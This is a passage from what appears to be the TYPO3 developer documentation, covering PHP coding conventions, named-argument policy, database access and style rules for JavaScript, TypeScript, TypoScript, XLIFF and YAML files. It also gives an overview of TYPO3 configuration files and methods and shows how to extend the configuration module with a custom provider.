$content = 'Hello ' . 'world!';
Copied!

However the space after the concatenation operator must not be present, if the operator is the last construction on the line. See the section about white spaces for more information.

Variables must not be embedded into strings. Correct:

$content = 'Hello ' . $userName;
Copied!

Incorrect:

$content = "Hello $userName";
Copied!

Multiline string concatenations are allowed. The line concatenation operator must be at the beginning of the line. Lines starting from the second must be indented relatively to the first line. It is recommended to indent lines one level from the start of the string on the first level.

$content = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. '
                . 'Donec varius libero non nisi. Proin eros.';
Copied!

Booleans

Booleans must use the language constructs of PHP and not explicit integer values like 0 or 1. Furthermore they should be written in lowercase, i.e. true and false.

NULL

Similarly this special value is written in lowercase, i.e. null.

Arrays

Array declarations use the short array syntax [], instead of the " array" keyword. Thus:

$a = [];
Copied!

Array components are declared each on a separate line. Such lines are indented with four more spaces than the start of the declaration. The closing square bracket is on the same indentation level as the variable. Every line containing an array item ends with a comma. This may be omitted if there are no further elements, at the developer's choice. Example:

$thisIsAnArray = [
    'foo' => 'bar',
    'baz' => [
        0 => 1
    ]
];
Copied!

Nested arrays follow the same pattern. This formatting applies even to very small and simple array declarations, e.g. :

$a = [
    0 => 'b',
];
Copied!

PHP features

The use of the newest PHP features is strongly recommended for extensions and mandatory for the TYPO3 Core .

Class functions must have access type specifiers: public, protected or private. Notice that private may prevent XCLASSing of the class. Therefore private can be used only if it is absolutely necessary.

Class variables must use access specifiers instead of the var keyword.

Type hinting must be used when the function expects an array or an instance of a certain class. Example:

protected function executeAction(MyAction &$action, array $extraParameters)
{
    // Do something
}
Copied!

Static functions must use the static keyword. This keyword must be after the visibility declaration in the function definition:

public static function executeAction(MyAction &$action, array $extraParameters)
{
    // Do something
}
Copied!

The abstract keyword also must be after the visibility declaration in the function declaration:

protected abstract function render();
Copied!

Global variables

Use of global is not recommended. Always use $GLOBALS['variable'].

Functions

All newly introduced PHP functions must be as strongly typed as possible. That means one must use the possibilities of PHP 7.0 as much as possible to declare and enforce strict data types.

i.e.: Every function parameter should be type-hinted. If a function returns a value, a return type-hint must be used. All data types must be documented in the phpDoc block of the function.

If a function is declared to return a value, all code paths must always return a value. The following is not allowed:

/**
 * @param bool $enabled
 * @return string
 */
function extendedUse(bool $enabled): string
{
    if ($enabled) {
        return 'Extended use';
    }
}
Copied!

The following is the correct behavior:

/**
 * @param bool $enabled
 * @return string
 */
function extendedUse(bool $enabled): string
{
   $content = '';
   if ($enabled) {
       $content = 'Extended use';
   }
   return $content;
}
Copied!

In general there should be a single return statement in the function (see the preceding example). However a function can return during parameter validation (guards) before it starts its main logic. Example:

/**
 * @param bool $enabled
 * @param MyUseParameters $useParameters
 * @return string
 */
function extendedUse(bool $enabled, MyUseParameters $useParameters): string
{
    // Validation
    if (count($useParameters->urlParts) < 5) {
        return 'Parameter validation failed';
    }

    // Main functionality
    $content = '';
    if ($enabled) {
        $content = 'Extended use';
    } else {
        $content = 'Only basic use is available to you!';
    }
    return $content;
}
Copied!

Functions should not be long. "Long" is not defined in terms of lines. General rule is that function should fit into 2 / 3 of the screen. This rule allows small changes in the function without splitting the function further. Consider refactoring long functions into more classes or methods.

Using phpDoc

"phpDocumentor" (phpDoc) is used for documenting source code. TYPO3 code typically uses the following phpDoc keywords:

  • @global
  • @param
  • @return
  • @see
  • @var
  • @deprecated

For more information on phpDoc see the phpDoc web site at https://www.phpdoc.org/.

TYPO3 does not require that each class, function and method be documented with phpDoc.

But documenting types is required. If you cannot use type hints then a docblock is mandatory to describe the types..

Additionally you should add a phpDoc block if additional information seems appropriate:

  • An example would be the detailed description of the content of arrays using the Object[] notation.
  • If the return type is mixed and cannot be annotated strictly, add a @return tag.
  • If parameters or return types have specific syntactical requirements: document that!

The different parts of a phpDoc statement after the keyword are separated by one single space.

Class information block

((to be written))

((was: For information on phpDoc use for class declarations see "Class information block".))

Function information block

Functions should have parameters and the return type documented. Example:

EXT:some_extension/Classes/SomeClass.php
/**
 * Initializes the plugin.
 *
 * Checks the configuration and substitutes defaults for missing values.
 *
 * @param array $conf Plugin configuration from TypoScript
 * @return bool true if initialization was successful, false otherwise
 * @see MyClass:anotherFunc()
 */
protected function initialize(array $conf): bool
{
    // Do something
}
Copied!

Short and long description

A method or class may have both a short and a long description. The short description is the first piece of text inside the phpDoc block. It ends with the next blank line. Any additional text after that line and before the first tag is the long description.

In the comment blocks use the short forms of the type names (e.g. int, bool, string, array or mixed).

Use @return void when a function does not return a value.

Named arguments

Named arguments, also known as “named parameters”, were introduced in PHP 8, offering a new approach to passing arguments to functions. Instead of relying on the position of parameters, developers can now specify arguments based on their corresponding parameter names:

Named arguments example
<?php
function createUser($username, $email)
{
    // code to create user
}
createUser(email: 'john.doe@example.com', username: 'john');
Copied!

This document discusses the use of named arguments within the TYPO3 Core ecosystem, outlining best practices for TYPO3 extension and Core developers regarding the adoption and avoidance of this language feature.

Named arguments in public APIs

The key consideration when using this feature is outlined in the PHP documentation:

With named parameters, the name of the function/method parameters become part of the public API, and changing the parameters of a function will be a semantic versioning breaking-change. This is an undesired effect of named parameters feature.

Utilizing named arguments in extensions

While the TYPO3 Core cannot directly enforce or prohibit the use of named arguments within extensions, it suggests certain best practices to ensure forward compatibility:

  • Named arguments should only be used for initializing value objects using PCPP (public constructor property promotion).
  • Avoid named arguments when calling TYPO3 Core API methods unless dealing with PCPP-based value objects. The TYPO3 Core does not treat variable names as part of the API and may change them without considering it a breaking change.

TYPO3 Core development

The decision on when to employ named parameters within the TYPO3 Core is carefully deliberated and codified into distinct sections, each subject to scrutiny within the Continuous Integration (CI) pipeline to ensure consistency and integrity over time.

It’s important to note that the TYPO3 Core Team will not accept patches that aim to unilaterally transition the codebase from positional arguments to named arguments or vice versa without clear further benefits.

Leveraging Named Arguments in PCPP Value Objects

Advancements in the TYPO3 Core codebase emphasize the separation of functionality and state, leading to the broad utilization of value objects. Consider the following example:

Value object using public constructor property promotion
final readonly class Label implements \JsonSerializable
{
    public function __construct(
        public string $label,
        public string $color = '#ff8700',
        public int $priority = 0,
    ) {}

    public function jsonSerialize(): array
    {
        return get_object_vars($this);
    }
}
Copied!

Using public constructor property promotions (PCPP) facilitates object initialization, representing one of the primary use cases for named arguments envisioned by PHP developers:

Instantiate a PCPP value object using named arguments
$label = new Label(
    label: $myLabel,
    color: $myColor,
    priority: -1,
);
Copied!

Objects with such class signatures MUST be instantiated using named arguments to maintain API consistency. Standardizing named argument usage allows the TYPO3 Core to introduce deprecations for argument removals seamlessly.

Invoking 2nd-party (non-Core library) dependency methods

The TYPO3 Core refrains from employing named arguments when calling library code ("2nd-party") from dependent packages unless the library explicitly mandates such usage and defines its variable names as part of the API, a practice seldom observed currently.

As package consumer, the TYPO3 Core must assume that packages don’t treat their variable names as API, they may change anytime. If TYPO3 Core would use named arguments for library calls, this may trigger regressions: Suppose a patch level release of a library changes a variable name of some method that we call using named arguments. This would immediately break when TYPO3 projects upgrade to this patch level release due to the power of semantic versioning. TYPO3 Core must avoid this scenario.

Invoking Core API

Within the TYPO3 Core, named arguments are not used when invoking its own methods. There are exceptions in specific scenarios as outlined below, however these are the reasons for not using named arguments:

  • TYPO3 Core tries to be as consistent as possible
  • Setting a good example for extension authors
  • Avoiding complications and side effects during refactoring
  • Addressing legacy code within the TYPO3 Core containing methods with less-desirable variable names, aiming for gradual improvement without disruptions
  • Preventing issues with inheritance, especially in situations like this:

    PHP error using named arguments and inheritance
    interface I {
        public function test($foo, $bar);
    }
    
    class C implements I {
        public function test($a, $b) {}
    }
    
    $obj = new C();
    
    // Pass params according to I::test() contract
    $obj->test(foo: "foo", bar: "bar"); // ERROR!
    Copied!

Utilizing named arguments in PHPUnit test data providers

The use of named arguments in PHPUnit test data providers is permitted and encouraged, particularly when enhancing readability. Take, for example, this instance where PHPUnit utilizes the array keys languageKey and expectedLabels as named arguments in the test:

PHPUnit data provider using named arguments
final class XliffParserTest extends UnitTestCase
{
    public static function canParseXliffDataProvider(): \Generator
    {
        yield 'Can handle default' => [
            'languageKey' => 'default',
            'expectedLabels' => [
                'label1' => 'This is label #1',
                'label2' => 'This is label #2',
                'label3' => 'This is label #3',
            ],
        ];
        yield 'Can handle translation' => [
            'languageKey' => 'fr',
            'expectedLabels' => [
                'label1' => 'Ceci est le libellé no. 1',
                'label2' => 'Ceci est le libellé no. 2',
                'label3' => 'Ceci est le libellé no. 3',
            ],
        ];
    }

    #[DataProvider('canParseXliffDataProvider')]
    #[Test]
    public function canParseXliff(string $languageKey, array $expectedLabels): void
    {
        // Test implementation
    }
}
Copied!

Leveraging named arguments when invoking PHP functions

TYPO3 Core may leverage named arguments when calling PHP functions, provided it enhances readability and simplifies the invocation. It is allowed for functions with more than three arguments. If named arguments are used, all arguments must be named, mixtures are not allowed.

Let’s do this by example. Function json_decode() has this signature:

json_decode() function signature
json_decode(
    string $json,
    ?bool $associative = null,
    int $depth = 512,
    int $flags = 0
): mixed
Copied!

In many cases, the arguments $associative and $depth suffice with their default values, while $flags typically requires JSON_THROW_ON_ERROR. Using named arguments in this scenario, bypassing the default values, results in a clearer and more readable solution:

Calling json_decode() using named arguments
json_decode(json: $myJsonString, flags: JSON_THROW_ON_ERROR);
Copied!

Another instance arises with complex functions like preg_replace(), where developers often overlook argument positions and names:

Calling preg_replace() using named arguments
$configurationFileContent = preg_replace(
    pattern: sprintf('/%s/', implode('\s*', array_map(
        static fn($s) => preg_quote($s, '/'),
        [
            'RewriteCond %{REQUEST_FILENAME} !-d',
            'RewriteCond %{REQUEST_FILENAME} !-l',
            'RewriteRule ^typo3/(.*)$ %{ENV:CWD}typo3/index.php [QSA,L]',
        ]
    ))),
    replacement: 'RewriteRule ^typo3/(.*)$ %{ENV:CWD}index.php [QSA,L]',
    subject: $configurationFileContent,
    count: $count
);
Copied!

Accessing the database

The TYPO3 database should always be accessed using the QueryBuilder of Doctrine. The ConnectionPool class should be injected via constructor injection and can then be used to create a QueryBuilder instance:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_domain_model_mytable';

    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool) {
        $this->connectionPool = $connectionPool;
    }

    public function findSomething()
    {
        // Get a query builder for a table
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);
    }
}
Copied!

See the Database chapter for more details.

Singletons

TYPO3 supports the singleton patterns for classes. Singletons are instantiated only once per request regardless of the number of calls to GeneralUtility::makeInstance(). To use a singleton pattern, a class must implement the SingletonInterface :

EXT:some_extension/Classes/MySingletonClass.php
namespace Vendor\SomeExtension;

class MySingletonClass implements \TYPO3\CMS\Core\SingletonInterface
{
    // …
}
Copied!

This interface has no methods to implement.

Be aware that singletons are often considered as "anti pattern" by code architects and should be used with care. Use them only if there are very good reasons.

Static methods

When a given class calls one of its own static methods (or one from one of its parents), the code should use the self keyword instead of the class name. For more information on when or where static methods are a good idea (or not), see modelling cross cutting concerns.

Example

class MyClass
{
    public static function methodA()
    {
        //...
    }
    public static function methodB()
    {
        // instead of MyClass::methodA():
        self::methodA();
    }
}
Copied!

Note that using static:: does not work in closures/lambda functions/anonymous functions.

Unit Tests

Unit test files

Unit test files are located in the "Tests/Unit/" folder of the according extension, within a sub-structure matching the structure in the Classes/ folder.

As naming convention, Test is appended at the end of the name. As example, the unit test class file for typo3/sysext/core/Classes/Database/PreparedStatement.php located at typo3/sysext/core/Tests/Unit/Database/PreparedStatementTest.php.

Using unit tests

Although the coverage is far from complete, there are already quite a lot of unit tests for the TYPO3 Core. Anytime something is changed in the Core, all existing unit tests are run to ensure that nothing is broken.

Adding unit tests

The use of unit tests is strongly encouraged. Every time a new feature is introduced or an existing one is modified, a unit test should be added.

Conventions for unit tests

Unit tests should be as concise as possible. Since the setUp() and tearDown() methods always have the same responsibility, these methods do not need a documentation block.

Since unit tests never return anything, they do not need an @return tag.

Handling deprecations

Namespaces and class names of user files

The namespace and class names of user files follow the same rules as class names of the TYPO3 Core files do.

The namespace declaration of each user file should show where the file belongs inside its extension. The namespace starts with "Vendor\MyNamespace\", where "Vendor" is your vendor name and "MyNamespace" is the extension name in UpperCamelCase. Then follows the name of the subfolder of Classes/, in which the file is located (if any). E.g. the file typo3conf/ext/realurl/Classes/Controller/AliasesController.php with the class AliasesController is in the namespace " \DmitryDulepov\Realurl\Controller".

User files with these class names are commonly found in the typo3conf/ext/ directory. Optionally these files can be installed to the typo3/ext/ directory to be shared by many TYPO3 installations.

JavaScript coding guidelines

The rules suggested in the Airbnb JavaScript Style Guide should be used throughout the TYPO3 Core for JavaScript files.

Note that the TYPO3 Core typically uses TypeScript now and automatically converts it to JavaScript.

Directories and filenames

  • JavaScript files should have the file ending .js
  • JavaScript files are located under <extension>/Resources/Public/JavaScript/

Format

  • Use spaces, not TABs.
  • Indent with 2 spaces.
  • Use single quotes ('') for strings.
  • Prefix jQuery object variables with a $.

More information

TypeScript coding guidelines

Excel Micro TypeScript Style Guide for TypeScript should be used throughout the TYPO3 Core for TypeScript files.

Directories and file names

  • TypeScript files should have the file ending .ts
  • TypeScript files are located under <extension>/Resources/Private/TypeScript/

Format

  • Use spaces, not TABs.
  • Indent with 2 spaces.

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

TypoScript coding guidelines

Directory and file names

  • The file extension should be .typoscript.
  • TypoScript files are located in the directory <extension>/Configuration/TypoScript.
  • File name for constants in static templates: constants.typoscript.
  • File name for TypoScript in static templates: setup.typoscript.

More information about the file ending:

  • TypoScript files used to have the ending .txt.
  • It is also possible to use the ending .ts. This is not recommended because it is also used by TypeScript.
  • Therefore, you should use .typoscript.

Format

  • Use spaces, not TABs.
  • Use 2 spaces per indenting level.

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

TSconfig coding guidelines

TSconfig files use TypoScript syntax.

Directory and file names

  • Files have the ending .tsconfig

The following directory names are not mandatory, but recommended:

  • TSconfig files are located in the directory <extension>/Configuration/TsConfig
  • Page TSconfig files are located in the directory <extension>/Configuration/TsConfig/Page
  • User TSconfig files are located in the directory <extension>/Configuration/TsConfig/User
  • Configuration for adding content elements to new content element wizard are located in the file <extension>/Configuration/TsConfig/Page/Mod/Wizards/NewContentElement.tsconfig

Format

  • Use spaces, not tabs
  • Indent with 2 spaces per indent level

See .editorconfig in core.

More information

XLIFF coding guidelines

Language files are typically stored in XLIFF files. XLIFF is based on XML.

Directory and file names

  • Files have the ending .xlf.
  • Language files are located in the directory EXT:my_extension/Resources/Private/Language/.

Format

  • Use TABs, not spaces.
  • TAB size is 4.

Language keys

TYPO3 is designed to be fully localizable. Hard-coded strings should thus be avoided unless there are some technical limitations (for example, some very early or low-level stuff where a $GLOBALS['LANG'] object is not yet available).

Defining localized strings

Here are some rules to respect when working with labels in locallang.xlf files:

  • Always check the existing locallang.xlf files to see, if a given localized string already exists, in particular EXT:core/Resources/Private/Language/locallang_common.xlf (GitHub) and EXT:core/Resources/Private/Language/locallang_core.xlf (GitHub).
  • Localized strings should never be all uppercase. If uppercase is needed, then appropriate methods should be used to transform them to uppercase.
  • Localized strings must not be split into several parts to include stuff in their middle. Rather use a single string with sprintf() markers (%s, %d, etc.).
  • When a localized string contains several sprintf() markers, it must use numbered arguments (for example, %1$d).
  • Localized strings should never contain configuration options (for example, index_config:timer_frequency, which would display a link or EXT:wizard_crpages/cshimages/wizards_1.png, which would show an image). Configuration like this does not belong in language labels, but in TypoScript.
  • Localized strings are not supposed to contain HTML tags. They should be avoided whenever possible.
  • Punctuation marks must be included in the localized string – including trailing marks – as different punctuation marks (for example, "?" and "¿") may be used in various languages. Also some languages include blanks before some punctuation marks.

Once a localized string appears in a released version of TYPO3, it cannot be changed (unless it needs grammar or spelling fixes). Nor can it be removed. If the label of a localized string has to be changed, a new one should be introduced instead.

YAML coding guidelines

YAML is (one of the languages) used for configuration in TYPO3.

Directory and file names

  • Files have the ending .yaml.

Format

  • Use spaces, not tabs
  • Indent with 2 spaces per indent level
  • Favor single-quoted strings (' ') over double-quoted or multi-line strings where possible
  • Double quoted strings should only be used when more complex escape characters are required. String values with line breaks should use multi-line block strings in YAML.
  • The quotes on a trivial string value (a single word or similar) may be omitted.
trivial: aValue
simple: 'This is a "salt" used for various kinds of encryption ...'
complex: "This string has unicode escaped characters, like \x0d\x0a"
multi: |
   This is a multi-line string.

   Line breaks are preserved in this value. It's good for including

   <em>HTML snippets</em>.
Copied!

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

reStructuredText (reST)

Documentation is typically stored in reST files.

Directory and file names

  • Files have the ending .rst.
  • Language files are located in the directory <extension>/Documentation.

Format

  • Use spaces, not TABs.
  • Indent with 4 spaces per indent level.

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

Configuration

features a short description for each topic and links to more information.

We have categorized information about configuration into configuration syntax and methods. Configuration that can be changed in the backend is usually referred to as Settings. The Glossary explains how we use these terms in this chapter.

Table of Contents

More ...

You can find out more about configuration in other manuals or chapters of TYPO3 Explained. The arrow indicates that you will be directed away from this chapter.

Configuration overview

This page will give you an overview of various configuration files, syntax languages and configuration methods in TYPO3. For more extensive information we will refer you to the respective chapter or reference.

A primary feature of TYPO3 is its configurability. Not only can it be configured by users with special user privileges in the backend. Most configuration can also be changed by extensions or configuration files. Additionally, configuration can be extended by extensions.

Configuration overview: files

Global files

<webroot>/typo3conf/LocalConfiguration.php:
Contains the persisted $GLOBALS['TYPO3_CONF_VARS'] array. Settings configured in the backend by system maintainers in Admin Tools > Settings > Configure Installation-Wide Options are written to this file.
<webroot>/typo3conf/AdditionalConfiguration.php:
Can be used to override settings defined in LocalConfiguration.php
config/sites/<site>/config.yaml
This file is located in webroot/typo3conf/sites in non-Composer installations. The Site configuration configured in the SITE MANAGEMENT > Sites backend module is written to this file.

Extension files

composer.json
Composer configuration, required in Composer-based installations
ext_emconf.php
Extension declaration, required in legacy installations
ext_tables.php
Various configuration. Is used only for backend or CLI requests or when a valid BE user is authenticated.
ext_localconf.php
Various configuration. Is always included, whether frontend or backend.
ext_conf_template.txt
Define the "Extension Configuration" settings that can be changed in the backend.
Configuration/Services.yaml
Can be used to configure Console commands, Dashboard widgets, Event listeners and Dependency injection.
Configuration/TCA
TCA configuration.
Configuration/TSconfig/
TSconfig configuration.
Configuration/TypoScript/
TypoScript configuration.

Configuration languages

These are the main languages TYPO3 uses for configuration:

  • TypoScript syntax is used for TypoScript and TSconfig.
  • TypoScript constant syntax is used for Extension Configuration and for defining constants for TypoScript.
  • Yaml is the configuration language of choice for newer TYPO3 system extensions like rte_ckeditor, form and the sites module. It has partly replaced TypoScript and TSconfig as configuration languages.
  • XML is used in Flexforms.
  • PHP is used for the $GLOBALS array which includes TCA ( $GLOBALS['TCA'] , Global Configuration ( GLOBALS['TYPO3_CONF_VARS']), User Settings ( $GLOBALS['TYPO3_USER_SETTINGS'], etc.

What is most important here, is that TypoScript has its own syntax. And the TypoScript syntax is used for the configuration methods TypoScript and TSconfig. The syntax for both is the same, while the semantics (what variables can be used and what they mean) are not.

Configuration methods

TSconfig

While Frontend TypoScript is used to steer the rendering of the frontend, TSconfig is used to configure backend details for backend users. Using TSconfig it is possible to enable or disable certain views, change the editing interfaces, and much more. All that without coding a single line of PHP. TSconfig can be set on a page (page TSconfig), as well as a user / group (user TSconfig) basis.

TSconfig uses the same syntax as Frontend TypoScript, the syntax is outlined in detail in TypoScript syntax. Other than that, TSconfig and Frontend TypoScript don't have much more in common - they consist of entirely different properties.

A full reference of properties as well as an introduction to explain details configuration usage, API and load orders can be found in the TSconfig Reference document. While Developers should have an eye on this document, it is mostly used as a reference for Integrators who make life as easy as possible for backend users.

TypoScript Templating

TypoScript - or more precisely "TypoScript Templating" - is used in TYPO3 to steer the frontend rendering (the actual website) of a TYPO3 instance. It is based on the TypoScript syntax which is outlined in detail in TypoScript syntax.

TypoScript Templating is very powerful and has been the backbone of frontend rendering ever since. However, with the rise of the Fluid templating engine, many parts of Frontend TypoScript are much less often used. Nowadays, TypoScript in real life projects is often not much more than a way to set a series of options for plugins, to set some global config options, and to act as a simple pre processor between database data and Fluid templates.

Still, the TypoScript Reference manual that goes deep into the incredible power of TypoScript Templating is daily bread for Integrators.

For an introduction, you may want to read one of the following tutorials:

PHP $GLOBALS

$GLOBALS
├── $GLOBALS['TCA'] = "TCA"
├── GLOBALS['TYPO3_CONF_VARS'] = "Global configuration"
│   ├── GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS'] = "Extension configuration"
│   └── GLOBALS['TYPO3_CONF_VARS']['SYS']['features'] = "Feature Toggles"
└── $GLOBALS['TYPO3_USER_SETTINGS'] = "User settings"
└── ...
Copied!

The $GLOBALS PHP array consists of:

$GLOBALS['TCA']:
TCA is the backbone of database tables displayed in the backend, it configures how data is stored if editing records in the backend, how fields are displayed, relations to other tables and much more. It is a huge array loaded in almost all access contexts. TCA is documented in the TCA Reference. Next to a small introduction, the document forms a complete reference of all different TCA options, with bells and whistles. The document is a must-read for Developers, partially for Integrators, and is often used as a reference book on a daily basis. See Extending the TCA array about how to extend the TCA in extensions.
$GLOBALS['TYPO3_CONF_VARS']:
is used for system wide configuration. Most of the settings can be modified in the backend Admin Tools > Settings > Global Configuration and will be persisted to the file file:typo3conf/LocalConfiguration.php. The settings can be overridden by using typo3conf/AdditionalConfiguration.php.
Extension Configuration:
is a subset of $GLOBALS['TYPO3_CONF_VARS'] . It is stored in $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS'] . It is used for configuration specific to one extension and can be modified in the backend Admin Tools > Settings > Extension Configuration. Do not set the values directly, use the API.
Feature toggles:
are used to switch a specific functionality of TYPO3 on or off. The values are written to GLOBALS['TYPO3_CONF_VARS']['SYS']['features']. The feature toggles can be switched on or off in the backend Admin Tools > Settings > Feature Toggles with Admin privileges. The API should be used to register and read feature toggles.
User settings:
$GLOBALS['TYPO3_USER_SETTINGS'] defines configuration for backend users

This is not a complete list of the entire $GLOBALS array.

$GLOBALS['TYPO3_CONF_VARS'] , Extension configuration and feature toggles can be changed in the backend in Admin Tools > Settings by system maintainers. TCA cannot be modified in the backend.

Configuration of the Logging Framework and Caching Framework - while being a part of the $GLOBALS['TYPO3_CONF_VARS'] array - can also not be changed in the backend. They must be modified in the file typo3conf/AdditionalConfiguration.php.

Flexform

Flexforms are used to define some options in plugins and content elements. With Flexforms, every content element can be configured differently.

Flexform values can be changed while editing content elements in the backend.

A schema defining the values that can be changed in the Flexform is specified in the extension which supplies the plugin or content element.

YAML

Some system extensions use YAML for configuration:

  • Site configuration is stored in <project-root>/config/sites/<identifier>/config.yaml. It can be configured in the backend module "Site" or changed directly in the configuration file.
  • Routing - "Speaking URLs" in TYPO3 is also defined in the file <project-root>/config/sites/<identifier>/config.yaml.
  • form: The Form engine is a system extension which supplies Forms to use in the frontend
  • rte_ckeditor: RTE ckeditor is a system extension. It is used to enable rich text editing in the backend.
  • A file <extension>/Configuration/Services.yaml can be used to configure Event listeners and Dependency injection

There is a YamlFileLoader which can be used to load YAML files.

Glossary

This page explains how some terms are used but is also an attempt to classify the various configuration methods.

Configuration vs settings

While sometimes the terms are used interchangeably and this is not an exact definition, a general rule of thumb is:

configuration:
Is used mostly to describe configuration that is initialized once using configuration files and cannot be changed on the fly in the backend.
settings:
Are options that can be modified in the backend, mostly in Admin Tools > Settings

Syntax vs method

We refer to a configuration language, that only defines the syntax as configuration syntax or configuration language.

When we refer to semantics, where the values are stored, the scope etc. we use the term configuration method. Thus, the configuration language is part of the configuration method.

This differentiation is important to make because there is often confusion about the term TypoScript: TypoScript can be used to describe the TypoScript syntax, but it can also be used to describe TypoScript templating, which can be considered a configuration method. TypoScript syntax is used in both TypoScript templating and TSconfig.

Configuration methods

In TYPO3 there are several ways to configure the system, depending on what is to be configured, where the values are stored and how and where they can be changed.

"Configuration methods" is not a generally used term. We use it in this chapter to differentiate between "configuration syntax" (as explained above), which only defines the syntax and the "configuration method". For each type of configuration method, the following may differ:

  • The used configuration syntax or configuration language
  • Schema (data types, default values, what settings are required, ...)
  • What do these variables mean, how will they be interpreted?
  • Where the values are stored (persistence): In a configuration file, the database, etc.
  • Who can change the values (privileges), e.g. only a system maintainer or admin in the TYPO3 backend.
  • To what the values apply (scope). Are they global or do they only apply to certain extension, page, plugin, users or usergroups?

An example for a TYPO3 specific configuration methods is TSconfig. This uses the TypoScript syntax. The values can be changed in the backend only by admins or in extensions.

Configuration syntax

Syntax describes common rules for a language (e.g. how are lines terminated, how are values assigned, what are separators, etc.) while semantics define the meaning.

For example, using only the basic syntax of yaml, this is a syntactically correct snippet:

foo: bar
Copied!

Most of the configuration languages used in TYPO3 basically assign values to variables in one way another. In its simplest form, these can be simple string assignments as in the yaml example, which may result in assigning the value 'bar' to a variable foo.

The assignment in TypoScript syntax would look like this:

foo = bar
Copied!

Without defining what are correct keys, values and data types, we have no idea about the meaning (semantics) of the file and cannot interpret it. We (or rather the TYPO3 Core ) have no idea, what foo (in the example above) means, whether it is a valid assignment, what data type can be used as value etc. We can only check whether the syntax is correct.

These are the main languages TYPO3 uses for configuration:

  • TypoScript syntax is used for TypoScript and TSconfig.
  • TypoScript constant syntax is used for Extension Configuration and for defining constants for TypoScript.
  • Yaml is the configuration language of choice for newer TYPO3 system extensions like rte_ckeditor, form and the sites module. It has partly replaced TypoScript and TSconfig as configuration languages.
  • XML is used to define a schema for FlexForms.
  • PHP is used for the $GLOBALS array which includes TCA ( $GLOBALS['TCA'] ), Global Configuration ( GLOBALS['TYPO3_CONF_VARS']), etc.

Configuration definition

A configuration definition or schema can be used to define what may be configured:

  • What are allowed variables and datatypes?
  • What are the default values?

So, for example in the example above we would define that there is a variable 'foo' with a datatype string and a default value might be an empty string.

There are specific languages for defining a schema to be applied, for example for XML, this might be DTD or XML schema. For YAML and JSON there is for example a schema validator Kwalify which uses YAML as language for the schema.

If you use a schema to define the configuration, this often has the additional advantage, that configuration can be validated with that schema.

TYPO3 does not use an explicit schema for most configuration methods. Often, the parsing and validation is done in the PHP source.

Examples for using a configuration definition file in TYPO3:

  • TypoScript constant syntax is used to define Extension Configuration in the file ext_conf_template.txt of an extension.
  • Flexforms are defined using XML in an extension.

Configuration files

The configuration files LocalConfiguration.php and AdditionalConfiguration.php are located in the directory public/typo3conf/ in Composer-based installations. In legacy installations they are located in typo3conf/.

The most important configuration file is LocalConfiguration.php. It contains local settings of the main global PHP array $GLOBALS['TYPO3_CONF_VARS'] , crucial settings like database connect credentials are in here. The file is managed by the Admin Tools.

The settings in the LocalConfiguration.php can be overridden in the AdditionalConfiguration.php file, which is never touched by TYPO3 internal management tools. Be aware that having settings within AdditionalConfiguration.php may prevent the system from performing automatic upgrades and should be used with care and only if you know what you are doing.

Configuration module

The configuration module can be found at System > Configuration. It allows integrators to view and validate the global configuration of TYPO3. The module displays all relevant global variables such as TYPO3_CONF_VARS, TCA and many more, in a tree format which is easy to browse through. Over time this module got extended to also display the configuration of newly introduced features like the middleware stack or event listeners.

Extending the configuration module

To make this module more powerful a dedicated API is available which allows extension authors to extend the module so they can expose their own configurations.

By the nature of the API it is even possible to not just add new configuration but to also disable the display of existing configuration, if not needed in the specific installation.

Basic implementation

To extend the configuration module, a custom configuration provider needs to be registered. Each "provider" is responsible for one configuration. The provider is registered as a so-called "configuration module provider" by tagging it in the Services.yaml file. The provider class must implement the EXT:lowlevel/Classes/ConfigurationModuleProvider/ProviderInterface.php (GitHub).

The registration of such a provider looks like the following:

EXT:my_extension/Configuration/Services.yaml
myextension.configuration.module.provider.myconfiguration:
    class: 'Vendor\Extension\ConfigurationModuleProvider\MyProvider'
    tags:
        - name: 'lowlevel.configuration.module.provider'
          identifier: 'myProvider'
          before: 'beUserTsConfig'
          after: 'pagesTypes'
Copied!

A new service with a freely selectable name is defined by specifying the provider class to be used. Further, the new service must be tagged with the lowlevel.configuration.module.provider tag. Arbitrary attributes can be added to this tag. However, some are reserved and required for internal processing. For example, the identifier attribute is mandatory and must be unique. Using the before and after attributes, it is possible to specify the exact position on which the configuration will be displayed in the module menu.

The provider class has to implement the methods as required by the interface. A full implementation would look like this:

EXT:my_extension/Classes/ConfigurationModule/MyProvider.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Configuration\Processor\ConfigurationModule;

use TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\ProviderInterface;

final class MyProvider implements ProviderInterface
{
    private string $identifier;

    public function __invoke(array $attributes): self
    {
        $this->identifier = $attributes['identifier'];
        return $this;
    }

    public function getIdentifier(): string
    {
        return $this->identifier;
    }

    public function getLabel(): string
    {
        return 'My custom configuration';
    }

    public function getConfiguration(): array
    {
        $myCustomConfiguration = [
            // the custom configuration
        ];

        return $myCustomConfiguration;
    }
}
Copied!

The __invoke() method is called from the provider registry and provides all attributes, defined in the Services.yaml. This can be used to set and initialize class properties like the :php$identifier which can then be returned by the required method getIdentifier(). The getLabel() method is called by the configuration module when creating the module menu. And finally, the getConfiguration() method has to return the configuration as an array to be displayed in the module.

There is also the abstract class EXT:lowlevel/Classes/ConfigurationModuleProvider/AbstractProvider.php (GitHub) in place which already implements the required methods; except getConfiguration(). Please note, when extending this class, the attribute label is expected in the __invoke() method and must therefore be defined in the Services.yaml. Either a static text or a localized label can be used.

Since the registration uses the Symfony service container and provides all attributes using __invoke(), it is even possible to use dependency injection with constructor arguments in the provider classes.

Displaying values from $GLOBALS

